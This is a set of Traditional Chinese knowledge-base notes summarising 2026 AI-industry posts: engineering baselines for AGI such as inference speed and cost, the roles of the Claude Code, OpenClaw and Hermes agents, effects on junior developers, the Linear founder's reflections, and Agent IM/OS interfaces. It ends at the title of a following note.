"本文以 Cerebras (CBRS) 即將上市以及 OpenAI 在其晶圓級晶片上跑出 1000 tokens/s 為引子，深刻推演了 AGI 落地的四層「工程基線」。作者認為，哲學上的 AGI 定義並不重要，產業真正關心的是：速度（實時思考）、記憶（跨專案狀態保持）、成本（廉價的大規模試錯）與耐力（100小時人類等效任務不崩潰）。當這四個參數跨越閾值，知識勞動的定價邏輯將從「按人頭」徹底轉變為「按任務成功率」。"
---
tags: [AI視野, 硬體基礎設施, 模型推理, 經濟分析]
date: 2026-05-11
source: "20260512_2026-05-12T093109+0800-AGI 前夜的工程基线.md"
---
# AGI 前夜的四道工程基線：當算力跨越閾值 (The Engineering Baselines Before AGI)
原始來源與檔名：20260512_2026-05-12T093109+0800-AGI 前夜的工程基线.md
來源：[[@Tz_2022]] / X (Twitter) — 2026-05-11
原始檔名：`2026-05-12T093109+0800-AGI 前夜的工程基线.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The AGI Production Equation:
> Speed (1000 tokens/s) + Memory (10M Context) + Cost ($1 / 10M tokens) + Endurance (100 hrs equivalent)
> = The shift from "Tool" to "Continuous Labor Force"
_判斷 AGI 是否到來，不要看排行榜上的跑分，那只是「體測數據」；要看一組冰冷的工程參數。當 Cerebras 晶片讓編程模型達到 1000 tokens/s，AI 的「內部試錯」從分鐘級被壓縮到秒級。搭配千萬級上下文視窗與崩塌的推理成本（一百小時的思考只要 36 美元），最後加上在長任務中不漂移的耐力。當這四個數字同時達標，AI 將從偶爾使用的「工具」，轉變為企業組織內的「持續執行單元」。AGI 不會被宣布，活兒只會被默默幹完。_
### 一句話
> 本文以 Cerebras (CBRS) 即將上市以及 OpenAI 在其晶圓級晶片上跑出 1000 tokens/s 為引子，深刻推演了 AGI 落地的四層「工程基線」。作者認為，哲學上的 AGI 定義並不重要，產業真正關心的是：速度（實時思考）、記憶（跨專案狀態保持）、成本（廉價的大規模試錯）與耐力（100小時人類等效任務不崩潰）。當這四個參數跨越閾值，知識勞動的定價邏輯將從「按人頭」徹底轉變為「按任務成功率」。
### 餐巾紙草圖
```text
[The 4 Layers of the AGI Baseline]
Layer 4: Endurance (100 hrs human equivalent without target drift)
^
Layer 3: Cost ($1 per 10M tokens -> Unlocks massive redundant self-checking)
^
Layer 2: Memory (10M Context Window -> Project-level state retention)
^
Layer 1: Speed (1000 tokens/s -> Real-time internal cognitive loops)
* Hardware (like Cerebras wafer-scale chips) forces these thresholds open.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: Cerebras 估值 266 億美元即將上市。OpenAI 在其硬體上發布的 GPT-5.3-Codex-Spark 達到了驚人的 1000 tokens/s 推理速度。
- **第一層 (速度)**: 1000 tokens/s 是思考的頻寬。它讓 Agent 內部的草稿、反駁、驗證循環從分鐘級壓縮到秒級。
- **第二層 (記憶)**: 速度快但記不住等於加速遺忘。千萬級上下文讓 Agent 擁有「專案級」的工作記憶，能處理跨模組、交織歷史決策的複雜架構。
- **第三層 (成本)**: 當 100 小時的 Agent 思考邊際成本降至 36 美元（對比初級工程師的 5000 美元），這解鎖了「大規模並行試錯與自我審查」的權限。昂貴智能追求一擊必中，廉價智能允許充分冗餘。
- **第四層 (耐力)**: 能否獨立完成「人類等效 100 小時」的任務。考驗的是狀態保持、錯誤恢復與長程一致性。成功率隨時間衰減的曲線一旦被馴服，AI 就成了真正的勞動力。
- **結論**: 工程世界不等待哲學共識。這四個數字達標之日，就是知識勞動力被徹底替代之時。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Tokens/s 本質上是「認知頻寬」而非「打字速度」**: 大多數人以為生成快只是不用等，但作者深刻指出：在 Agentic Workflow 中，模型在背後做了大量的自言自語、沙盤推演與回滾。如果推理速度只有 30 t/s，系統有 90% 的時間在等自己思考完畢；當速度達到 1000 t/s 時，這種內部協商幾乎瞬間完成，Agent 才能真正做到「即時反應」。
2. **定價邏輯的範式轉移**: 作者算了一筆極具視覺衝擊力的帳：100 小時的推理 = 3.6 億 Tokens = 36 美元。當人類的 5000 美元勞動可以用 36 美元的算力覆蓋時，企業將不再買「人頭」，而是買「成功率」。而極低的 Token 成本，讓 Agent 可以用「生十個方案丟九個」的暴力窮舉法來保證成功率，這在人類團隊中是不可想像的浪費。
3. **「耐力」是檢驗智慧的最終試金石**: 短任務的 Demo 具有欺騙性。100 小時長任務考驗的是大模型的誤差累積。如果在第 80 次工具調用時狀態崩潰，前面的高速和低成本都毫無意義。耐力證明了前三層基礎設施真正發揮了作用。
### 關鍵證據
- 點出了 OpenAI 對 Cerebras 承諾的 200 億美元 / 750MW 低延遲推理算力訂單。這證明了矽谷的頂級玩家正在用真金白銀為「低延遲推理」這條新曲線定價。
### 邊界條件
- 作者承認這只是一條「工程基線」，並不能等同於具備意識或自我目標的強人工智慧。但從商業和社會影響的角度看，只要系統具備了這四個工程指標，它就足以摧毀現有的軟體工程師就業結構。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美銜接了《裁員潮將持續》與《Contextmaxxing > Tokenmaxxing》。當 Token 成本塌縮，企業面臨的不再是「買不起算力」，而是面臨「Alignment Hell（對齊地獄）」。如果缺乏強大的 Memory（Contextmaxxing），這 1000 t/s 的速度只會極速產出大量相互衝突的垃圾代碼。
- **深層洞見**: **"昂贵的智能被迫追求一击必中，廉价的智能允许充分的冗余。而系统可靠性，很多时候恰恰来自冗余。" (Expensive intelligence is forced to aim for a hole-in-one; cheap intelligence allows for ample redundancy. And system reliability often comes precisely from redundancy.)** 這是對 AI 時代系統工程最精闢的總結。不要試圖寫出完美的 Prompt 讓模型一次做對；利用廉價算力，讓 5 個 Agent 互相審查，這才是未來。
- **行動呼籲**:
停止用 ChatGPT 網頁版測試「它能一次寫對多長的代碼」。去體驗一下 Cursor 或 Cline 等具備 Agent 迴圈的工具，感受一下當 AI 寫錯時，能在 3 秒內自動讀取報錯並自我修復的震撼。這就是 AGI 前夜的風暴。
AI視野
Agent 的三次躍遷：從技術上限到自主進化 (The Three Leaps of Agents)
"這是一篇極具洞察力的 Agent 產品定位分析。作者將近期的三大 Agent 產品擬人化：Claude Code 是高冷的頂級技術專家，拉高了 Agent 操作複雜工程的上限；OpenClaw 是接地氣的執行助理，讓 Agent 走入普通人的資料夾與日常工作流；而 Hermes 則是會成長的專案經理，它最大的突破在於「記憶沉澱」與「自主進化」。這標誌著 AI 已經徹底脫離對話框，長出了雙手，並開始形成生態分工。"
---
tags: [AI視野, Agent架構, 產業趨勢]
date: 2026-04-27
source: "20260512_2026-04-28T092530+0800-Claude Code、OpenClaw、Hermes，分别把 Agent 推到了哪一步.md"
---
# Agent 的三次躍遷：從技術上限到自主進化 (The Three Leaps of Agents)
原始來源與檔名：20260512_2026-04-28T092530+0800-Claude Code、OpenClaw、Hermes，分别把 Agent 推到了哪一步.md
來源：[[@AnchorNode]] / X (Twitter) — 2026-04-27
原始檔名：`2026-04-28T092530+0800-Claude Code、OpenClaw、Hermes，分别把 Agent 推到了哪一步.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Evolution Timeline:
> 1. Claude Code = The Tech Ceiling (The Expert Engineer. Proves Agents can code complex systems.)
> 2. OpenClaw = The Mass Adoption (The Executive Assistant. Brings Agents to the desktop & daily files.)
> 3. Hermes = The Autonomous Evolution (The Project Manager. Remembers, adapts, and learns skills over time.)
_這篇文章梳理了 Agent 發展的三個里程碑。作者認為不要用「誰比誰強」來比較 Claude Code、OpenClaw 和 Hermes，它們代表的是 Agent 發展的三個不同歷史使命：Claude Code 證明了技術上限（能寫複雜系統）；OpenClaw 降低了門檻，讓 Agent 成為大眾桌面助理；而 Hermes 最為關鍵，它證明了 Agent 可以具有「成長性」，透過累積經驗形成專屬的技能迴路。_
### 一句話
> 這是一篇極具洞察力的 Agent 產品定位分析。作者將近期的三大 Agent 產品擬人化：Claude Code 是高冷的頂級技術專家，拉高了 Agent 操作複雜工程的上限；OpenClaw 是接地氣的執行助理，讓 Agent 走入普通人的資料夾與日常工作流；而 Hermes 則是會成長的專案經理，它最大的突破在於「記憶沉澱」與「自主進化」。這標誌著 AI 已經徹底脫離對話框，長出了雙手，並開始形成生態分工。
### 餐巾紙草圖
```text
[The 3 Leaps of AI Agents]
1. Capability Leap (Claude Code)
- "Can it do the hard stuff?"
- Coding, debugging, system architecture.
2. Accessibility Leap (OpenClaw)
- "Can normal people use it?"
- Desktop automation, files, daily workflow.
3. Evolutionary Leap (Hermes)
- "Can it grow with me?"
- Persistent memory, skill compilation, long-term collaboration.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **前言**: Hermes 的爆火不是因為它證明了 Agent 有多強（那是 Claude Code 做的事），而是它證明了 Agent 可以「陪伴與養成」。
- **Agent 的定義**: 不是軍師，而是長出雙手的實幹家（呼叫工具、操作檔案、寫代碼、自動化）。
- **三座路碑的定位**:
- **Claude Code (技術專家)**: 技術上限。像住在電腦裡的程式設計師，能理解專案結構並沿著工程鏈路推進任務。它太強，但也顯得高冷。
- **OpenClaw (執行助理)**: 普及下放。接地氣的大管家，負責查資料、跑流程、整理檔案。它的意義在於「使用門檻的坍塌」，讓 Agent 從極客圈走向大眾桌面。
- **Hermes (專案經理)**: 成長性。不是每次都像第一次見面。它會記住任務、沉澱經驗，將固定的操作流程編譯為自己的「技能」。你是在帶一個會成長的實習生。
- **結論**: 三者不是替代關係，而是遞進的生態分工。AI 已經脫離對話框，我們不需要急著站隊，而是要學會如何與「會做事的 AI」共事。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **技術擴散理論**: 任何偉大技術的普及，都必須經歷「展示極限（秀肌肉）」到「進入日常（降門檻）」再到「個性化綁定（高黏性）」的過程。Claude Code 解決了信仰問題，OpenClaw 解決了市場教育問題，Hermes 解決了長期留存問題。
2. **「記憶」是下一代 Agent 的分水嶺**: 傳統 Agent 的致命傷是「無狀態 (Stateless)」——這次能做，下次還是得從頭教起。Hermes 透過記憶與技能沉澱，將 Agent 從一個「工具 (Tool)」升級為一個「系統 (System)」。
3. **生態開花的必然性**: 未來不會有一個萬能的 Agent 統治一切。正如人類社會有架構師、行政助理與專案經理，Agent 也會沿著這些職能分化。
### 關鍵證據
- 觀察市場反應：極客驚嘆於 Claude Code 的重構能力；普通使用者驚喜於 OpenClaw 幫忙整理資料夾；而 Hermes 玩家則沉迷於讓 Agent「自動學會」過濾特定網頁資訊。不同的驚嘆點印證了三者不同的歷史使命。
### 邊界條件
- 雖然 Hermes 展現了成長性，但這種「成長」目前依然受到 Context 視窗與本機儲存架構的限制。如果記憶索引（向量資料庫）出錯，這種「個性化」可能會變成難以除錯的「偏見陷阱」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美縫合了《1 Month with Hermes》的觀點（Claude 是 Builder，Hermes 是 Operator）以及《3 个命令让你的 Hermes 从机器变成数字生命》中關於「成長性與肌肉記憶」的技術實踐。
- **深層洞見**: **"它不是让 Agent 更像工具，而是让 Agent 开始更像系统。"(It doesn't make the Agent more like a tool; it makes the Agent start to act like a system.)** 工具是用完即走的，系統是與你共同成長的資產。
- **行動呼籲**:
停止尋找「一個能打全部的 Agent」。建立你的 AI 組織架構圖：
- 需要寫程式、架設網站？呼叫你的技術專家 (Claude Code)。
- 需要整理桌面、批次改檔名、抓資料？交給執行助理 (OpenClaw)。
- 需要每天早上自動為你產出特定領域的資訊簡報，並越來越懂你的口味？開始調教你的專案經理 (Hermes)。
AI視野
BestBlogs 每日早報 EP41：Symphony 系統、語音控制與 AI 掏空初級工程師 (Symphony, Realtime-1.5, and the Hollowing of Junior Devs)
"本期早報極具戰略視野，串聯了多個行業動態。OpenAI 推出的 Symphony 解決了「人類微觀管理 Agent」的瓶頸，讓開發回歸「工單驅動」；吳恩達指出在寫碼被自動化後，瓶頸轉移至產品與市場，具備跨域能力的「通才」將取代專才。然而，微軟高管的論文卻指出殘酷的副作用：AI 成了初級開發者的「認知負債」，剝奪了他們透過基礎實作培養架構判斷力的階梯。Harness 不是目的，知識沉澱才是護城河。"
---
tags: [AI視野, Agent架構, 軟體工程, 組織管理]
date: 2026-04-28
source: "20260512_2026-04-28T092445+0800-BestBlogs 每日早报 EP41 · Symphony 编排 gpt-realtime-1.5 AI 原生工程团队 · 04.28.md"
---
# BestBlogs 每日早報 EP41：Symphony 系統、語音控制與 AI 掏空初級工程師 (Symphony, Realtime-1.5, and the Hollowing of Junior Devs)
原始來源與檔名：20260512_2026-04-28T092445+0800-BestBlogs 每日早报 EP41 · Symphony 编排 gpt-realtime-1.5 AI 原生工程团队 · 04.28.md
來源：[[@hongming731]] / BestBlogs — 2026-04-28
原始檔名：`2026-04-28T092445+0800-BestBlogs 每日早报 EP41 · Symphony 编排 gpt-realtime-1.5 AI 原生工程团队 · 04.28.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Control Plane Shift:
> Symphony = Linear Ticket Board -> Drives Agent -> Auto PRs (Removes human micro-management)
> GPT-Realtime-1.5 = Voice -> Drives App State (Removes UI micro-management)
> Team Impact = Senior Devs + Symphony = 10x output. Junior Devs = Hollowing out (The "AI Drag").
_這篇早報濃縮了 2026 年 4 月最核心的 AI 工程震撼彈。OpenAI 釋放了兩項改變控制權的技術：gpt-realtime-1.5 讓語音直接操控軟體狀態；Symphony 讓 Linear 看板直接驅動 Coding Agent 工作流。這導致吳恩達提出「2-10 人 AI 原生通才小團隊將主導市場」，但同時微軟高層也發出嚴厲警告：Agent 工具正在系統性地掏空初級開發者（Junior Devs）的人才管線，未來的資深工程師將面臨斷層。_
### 一句話
> 本期早報極具戰略視野，串聯了多個行業動態。OpenAI 推出的 Symphony 解決了「人類微觀管理 Agent」的瓶頸，讓開發回歸「工單驅動」；吳恩達指出在寫碼被自動化後，瓶頸轉移至產品與市場，具備跨域能力的「通才」將取代專才。然而，微軟高管的論文卻指出殘酷的副作用：AI 成了初級開發者的「認知負債」，剝奪了他們透過基礎實作培養架構判斷力的階梯。Harness 不是目的，知識沉澱才是護城河。
### 餐巾紙草圖
```text
[The Shifting Bottlenecks of AI Engineering]
Past: Writing Code was the bottleneck.
Solution -> Coding Agents (Codex, Claude Code).
Present: Micro-managing Agents is the new bottleneck.
Solution -> Symphony (Agent Orchestrator linked to Linear).
Future: Product/Market/Legal are the final bottlenecks.
Solution -> Generalist Micro-teams (2-10 people) + Preceptor Programs for Juniors.
WARNING: The Junior Developer Pipeline is collapsing (-67% hiring).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **精講一：gpt-realtime-1.5**: 專為語音控制軟體狀態而生。補齊了 LLM 聽說能力與「修改應用狀態」之間的斷層，讓嘴巴成為控制平面。
- **精講二：Symphony 開源**: OpenAI 內部的編排規範。為了解決人類同時監控多個 Agent 造成的「上下文切換」疲勞，Symphony 取消了以 Session 為中心的範式，改由 Linear 看板（工單）直接驅動 Agent 工作區，自動解衝突與跑 CI。
- **精講三：吳恩達的新運營模型**: AI 原生軟體團隊的最佳配置是 2-10 人的同地辦公小團隊。因為寫代碼不再是瓶頸，瓶頸變成了產品判斷與市場營銷，因此「願意學跨職能的通才將取代專才」。
- **速覽精華**:
- **微軟警告**: Agentic Coding 讓資深開發者起飛，卻給初級開發者套上 "AI drag"。初級職位大減 67%，未來將面臨人才斷層，必須引入醫學界的「先生制 (preceptor)」師徒帶領。
- **騰訊 Harness 知識實踐**: Harness 只是工具，真正的護城河是「團隊知識的沉澱」。
- **Skill 蒸餾的邊界**: 隱性知識（直覺、品味）無法被輕易蒸餾成 Skill。
- **小馬智行樓天城**: AI 是脫韁野馬，人類最終可能成為被 AI 調用的一環。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **控制平面的上移**: 以前工程師控制 IDE，後來控制 Prompt，現在 Symphony 讓工程師只需控制 Linear 的 Issue 狀態。每一次工具的進化，都是把人類從「執行細節」中往上推升到「目標與驗收」層級。
2. **組織型態的必然重構**: 軟體工程的康威定律（系統架構反映組織架構）。當 Symphony 把「實現層」壓扁後，分工作業（PM 寫規格 -> 設計師畫圖 -> 前端寫 UI -> 後端寫 API）的傳遞成本顯得太慢。2 人全端團隊配合 Agent 就能貫穿全鏈路。
3. **初級開發者的認知債 (Cognitive Debt)**: MIT 研究顯示，依賴 AI 寫作的成年人腦部活動下降、回憶變差。初級工程師如果連基礎 API 都不曾親手調用、沒修過低級 Bug，他們如何長出「System Taste (系統品味)」去審閱 Agent 生成的 10,000 行 PR？這是軟體工程史上最大的斷層危機。
### 關鍵證據
- 數據：哈佛研究顯示 GPT-4 之後，22-25 歲的 AI 暴露崗位就業率下降 13%；入門級開發者招聘較 2022 年下降 67%。
- 實踐：OpenAI 內部用 Symphony 後，PR 落地數量成長 5 倍。
### 邊界條件
- Symphony 等高階編排依賴極高質量的測試覆蓋率與 CI/CD 基礎設施。如果沒有這些，讓 Agent 自動解 Conflict 只會製造出災難性的泥石流代碼。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美縫合了《如何打造 Multi-Agent 系統》中的 Missions 架構（Symphony 的落地版）以及《Company Brain》對知識沉澱的要求。
- **深層洞見**: **"Symphony 把实现工业化，但谁来培养下一代能审 Symphony 输出的人？" (Symphony industrializes implementation, but who will train the next generation to review Symphony's output?)** 工具的無情在於它剝奪了新手的練習場。
- **行動呼籲**:
- 如果你是資深開發者或 Leader：立刻開始記錄你的「架構決策與直覺」，並以師徒制帶領新手閱讀與審查 Agent 生成的代碼，教他們「如何判斷好壞」，而不是「如何寫」。
- 如果你是新手：不要淪為 AI 的微觀管理者。要利用 AI 的速度去實作更多的 Side Project，主動進入那些 AI 經常搞砸的複雜場景中去學習系統架構。
AI視野
關於 AI 的現實筆記：剝離狂熱後的工程真相 (Some Notes on AI: Reality After the Honeymoon)
"這是一篇少見的、極其克制且清醒的 AI 實踐反思文。身為頂級 SaaS 軟體 (Linear) 的創辦人，作者指出 AI 真正的商業價值在於「擴增頻寬」而非「全自動駕駛」。AI 解決了重構、寫測試和無聊的小 bug，讓工程師能專注於真正困難的系統權衡。文章同時點出「專家悖論」：外行人看 AI 是魔法，內行人看 AI 是需要糾正的泥石流，但正因為專家具備「品味與判斷力」，他們反而能從 AI 中榨取最大的加速價值。"
---
tags: [AI視野, 軟體工程, 組織管理]
date: 2026-04-26
source: "20260512_2026-04-28T092606+0800-Some Notes on AI.md"
---
# 關於 AI 的現實筆記：剝離狂熱後的工程真相 (Some Notes on AI: Reality After the Honeymoon)
原始來源與檔名：20260512_2026-04-28T092606+0800-Some Notes on AI.md
來源：[[@karrisaarinen]] (Linear 創辦人) / X (Twitter) — 2026-04-26
原始檔名：`2026-04-28T092606+0800-Some Notes on AI.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Expert Paradox:
> Domain you know NOTHING about + AI = Looks like Magic.
> Domain you are an EXPERT in + AI = Looks like Slop (but is highly valuable for acceleration).
> AI coding value ≠ "AI writes 100% of the code"
> AI coding value = Acceleration around the edges (refactoring, scaffolding, minor bug fixes) + Expert judgment.
_在寫碼模型技術躍升半年後的「蜜月期」尾聲，Linear 創辦人分享了克制的觀察。他不相信 AGI 毀滅論，也不相信 AI 會完全取代工程師。現實是：企業的計畫依然重要，因為計畫的本質是組織對齊；AI 寫碼極大地拓寬了工程師的頻寬（Linear 每月靠 AI 修復破千個小問題），但硬核的架構問題依然需要人類判斷；專家悖論在於，你越懂一個領域，AI 看起來越笨，但你越能有效駕馭它。_
### 一句話
> 這是一篇少見的、極其克制且清醒的 AI 實踐反思文。身為頂級 SaaS 軟體 (Linear) 的創辦人，作者指出 AI 真正的商業價值在於「擴增頻寬」而非「全自動駕駛」。AI 解決了重構、寫測試和無聊的小 bug，讓工程師能專注於真正困難的系統權衡。文章同時點出「專家悖論」：外行人看 AI 是魔法，內行人看 AI 是需要糾正的泥石流，但正因為專家具備「品味與判斷力」，他們反而能從 AI 中榨取最大的加速價值。
### 餐巾紙草圖
```text
[ The Reality of AI in Production ]
Illusion:
User -> "Build me an app" -> AI writes 100% code -> Deploys.
Reality (The Linear Way):
Human Expert (Sets constraints, Taste, Architecture)
|
+-> Cloud Agent A (Refactoring)
+-> Cloud Agent B (Writing Tests)
+-> Cloud Agent C (Fixing 100 small UI bugs)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **計畫的意義**: 有人說 AI 時代變化太快不需要長期計畫。錯了。計畫的輸出不重要，規劃的「過程」才是讓組織對齊、設定優先級的關鍵。缺乏計畫，AI 只會帶你走向「最簡單的路」，而不是「最有價值的路」。
- **專家悖論 (The Expertise Paradox)**:
- 外行看 AI：全是魔法 (Gell-Mann 失憶症)。
- 專家看 AI：充滿漏洞、上下文缺失、喜歡走捷徑。
- 結論：AI 不會抹殺專業知識。專業知識轉化為了「設定方向、判斷好壞 (Taste) 以及約束模型」的能力。
- **AI 寫碼的真相**: 沒有大公司真的在跑 100% 獨立自主的 Agent 蜂群。價值在於「邊緣加速 (Acceleration around the edges)」。工程師的頻寬變大了，以前懶得修的幾千個小 Bug，現在交給背景 Agent 解決。但困難的架構權衡依然是人的工作。
- **設計與 AI**: 圖像與 UI 生成依然缺乏「精確控制」。設計不僅僅是出圖，更是「梳理問題與系統互動」的過程。作者期待的是語義化的 UI 工具，而非單純的像素生成。
- **領域決定了 AI 的容忍度**: 像 Email 這種高頻工具，需要極高的 UX 打磨；而很多 AI 公司其實是「後端邏輯公司」，前端隨便做個 CLI 或套版就能賣，這給了他們跑得很快的錯覺。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **規劃的本質不是預測，是共識**: 如果建造東西的成本趨近於零（因為 AI），那麼「造錯東西」的風險就成倍增加。當任何人都能在一天內寫出一個 Feature 時，如果不經過規劃與辯論，產品就會變成毫無靈魂的怪物（Slop）。
2. **工具引導工作流 (Tools steer workflows)**: 傳統工具是機械的，AI 工具是會思考的，因此它具有更強的「引導性」。如果你不主動掌舵，AI 的「懶惰與走捷徑本能」就會接管你的產品走向。這就是「Vibe coding」的風險所在。
3. **頻寬大於深度**: 實際的生產數據顯示（Linear 每月靠 Agent 修復上千個 issue），AI 在短期內最大的價值不是幫架構師想出更好的分散式演算法，而是幫團隊把那 80% 無聊但必要的維護工作自動化，釋放人的大腦。
### 關鍵證據
- 內部數據：Linear 中多數付費工作區已安裝 Coding Agent，活動量幾個月內暴增 5 倍。這證明了 Agent 已經成為常規開發流程的一部分，而非實驗品。
### 邊界條件
- 這種「專家駕馭 AI」的模式，對於完全沒有基礎的 Junior 是一場災難（呼應了《BestBlogs EP41》中微軟的警告）。如果缺乏一開始的專家判斷力，程式碼庫很快就會腐化。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了吳恩達（Andrew Ng）在《BestBlogs 每日早報 EP41》中的觀點：寫程式的瓶頸消失了，現在的瓶頸在於產品判斷與規劃（Product & Marketing bottlenecks）。
- **深層洞見**: **"The value is acceleration around the work... The expert still supplies the taste, constraints, and final judgment." (價值在於周邊工作的加速... 專家依然提供品味、約束與最終判斷。)** 這重新定義了 2026 年軟體工程師的工作描述：我們不再是碼農，我們是代碼的編輯與系統的品鑑師。
- **行動呼籲**:
停止試圖讓 AI「幫你完成整個大專案」。改變工作流：自己畫出架構圖與資料庫綱要，自己決定核心邏輯，然後叫 AI 去「補齊測試、寫樣板程式碼、調整 CSS」。把 AI 當作高階打字機，而不是 CTO。
Agent架構
Agent IM 與 Agent OS：AI 時代的新流量入口 (Agent IM & Agent OS)
"這是一篇極具前瞻性的 AI 產品形態預測。作者指出，隨著 Agent 能力的爆發，人機互動介面將從單一聊天視窗演化為「Agent IM（任務驅動的群聊系統）」，支援文本、卡片元件與獨立頁面的分級互動。然而，由於人類處理資訊的頻寬有限，當 Agent 數量激增時，必定會催生出「Agent OS」——一個掌握使用者最多私有上下文（Context）、運行在本地端、能自動路由任務與過濾干擾的超級管家，這將取代搜尋引擎，成為下一個十年的流量入口。"
---
tags: [Agent架構, 產業趨勢, 產品設計]
date: 2026-04-28
source: "20260512_2026-04-28T092643+0800-Agent IM与Agent OS AI时代的流量入口.md"
---
# Agent IM 與 Agent OS：AI 時代的新流量入口 (Agent IM & Agent OS)
原始來源與檔名：20260512_2026-04-28T092643+0800-Agent IM与Agent OS AI时代的流量入口.md
來源：[[@yangyi]] / X (Twitter) — 2025-09-26
原始檔名：`2026-04-28T092643+0800-Agent IM与Agent OS AI时代的流量入口.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Agent Era Interface:
> Level 1: TUI (Text User Interface) -> Short confirmations.
> Level 2: Components (Cards/Widgets in chat) -> Structured info.
> Level 3: Pages (Deep Links/SaaS) -> Complex details.
> Agent OS = Local Cloud + Context Manager + Task Router.
_當 AI Agent 具備了主動執行複雜任務的能力後，傳統的「一問一答」聊天框已經不夠用了。作者 Yangyi 提出，未來人與 Agent、Agent 與 Agent 之間的協作，將會透過類似 Telegram 的「Agent IM」來進行群聊與任務指派。而隨著訊息過載，最終會演化出「Agent OS」——一個存在於你本地 NAS 或設備上的大管家，它掌握你所有的上下文，負責過濾訊息、分發任務，成為 AI 時代真正的終極流量入口。_
### 一句話
> 這是一篇極具前瞻性的 AI 產品形態預測。作者指出，隨著 Agent 能力的爆發，人機互動介面將從單一聊天視窗演化為「Agent IM（任務驅動的群聊系統）」，支援文本、卡片元件與獨立頁面的分級互動。然而，由於人類處理資訊的頻寬有限，當 Agent 數量激增時，必定會催生出「Agent OS」——一個掌握使用者最多私有上下文（Context）、運行在本地端、能自動路由任務與過濾干擾的超級管家，這將取代搜尋引擎，成為下一個十年的流量入口。
### 餐巾紙草圖
```text
[ Evolution of the AI Interface ]
Stage 1: ChatGPT
(1 User <-> 1 LLM, synchronous)
Stage 2: Agent IM
(1 User <-> Multiple Agents in a Telegram-like group chat, task-driven)
Stage 3: Agent OS (The Local Cloud)
[ User ] <-> [ The "Butler" Router ]
|--> Agent A (Scraping)
|--> Agent B (Coding)
|--> Agent C (Data Analysis)
* The OS manages Context, Permissions (RBAC), and Attention (Push vs. Silent sync).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **起源**: 為了讓 人、Agent 以及 Agent 之間能夠傳輸上下文並協作，必然需要一個基於 Task 驅動的 IM (即時通訊) 形態，類似 Telegram。
- **分級互動設計**:
- **TUI (Text)**: 簡短確認。
- **Component (卡片/小工具)**: 飛書卡片式的結構化資訊。
- **Pages (網頁/SaaS)**: 需要深入查看的詳細內容。這符合人類工作匯報的金字塔原理。
- **從 IM 到 OS 的演進**:
- 當 Agent 太多時，人類的訊息接收頻寬會爆炸（出現「龍蝦客戶端」般的 999+ 訊息）。
- 因此需要一個「對接人 (Router)」來當大管家，這就是 Agent OS。
- **Agent OS 的核心定義**:
- 將無狀態的對話轉為有狀態的進程監聽。
- 資訊分層：重要任務彈出提示，一般任務狀態展示，不重要任務自動折疊出報表。
- **終極入口**: 未來的流量入口不再是搜尋引擎，而是「掌握你最多上下文數據」的地方（大概率是本地化的個人伺服器/NAS），代表你去和外部的 AI 服務商交涉。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎建設的成熟**: 為什麼 Agent IM 以前做不起來？因為 2023-2024 年的模型缺乏長程任務能力，也沒有 MCP 和好用的 Swarm 框架。直到 2026 年（文章提及的當下背景），基礎建設和編碼成本下降，才讓多 Agent 協作的場景變得可行。
2. **注意力瓶頸的必然性**: 人類的注意力是稀缺資源。當 AI 從「輔助工具」變成「數位員工」時，如果 10 個員工同時找你說話，系統就會崩潰。因此，系統必然需要向 Agent OS 演化，實行嚴格的注意力分級管理。
3. **數據隱私與入口轉移**: 「上下文 (Context)」是 AI 服務的核心資產。沒有人願意把一生的私人數據全部交給單一雲端巨頭，因此「本地雲 (Local Cloud)」配合本地模型處理 60% 任務，將成為 Agent OS 的最佳載體。
### 關鍵證據
- 產品趨勢印證：文章列舉了 Bloome (基於群聊的 widget) 和 Helio 等新興產品，這些產品都在實踐任務看板、分組 Channel 與卡片互動，證明了業界正朝著 Agent IM 的共識狂奔。
### 邊界條件
- 「本地化個人伺服器 (NAS)」的普及率和硬體使用門檻。如果硬體廠商無法將這套 Local Cloud 做到如 iPhone 般開箱即用，大眾消費者可能最終還是會妥協，將上下文隱私交給 Apple 或 Google。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Context providers the missing layer》中提到的「Agent 需要一個遺失的中間層來管理工具與上下文」，Agent OS 就是這個中間層的終極形態。
- **深層洞見**: **"从前充当互联网入口的，是搜索。因为他聚合了大量的信息。未来充当入口的，是「拥有最多上下文」的地方。它将成为人类个体的代言人。"** (Search organized public info. The future OS organizes private context.) 這句話點破了下一代科技巨頭的護城河：誰掌握了使用者的 Context，誰就擁有分發流量的權力。
- **行動呼籲**:
如果你在設計 AI 產品，請立刻停止設計「單一對話框」。開始思考如何用「卡片 (Component)」和「任務看板」來降低使用者的認知負荷。
Agent架構
Agent Skills 架構解剖學：終結上下文膨脹 (Anatomy of Agent SKILLS)
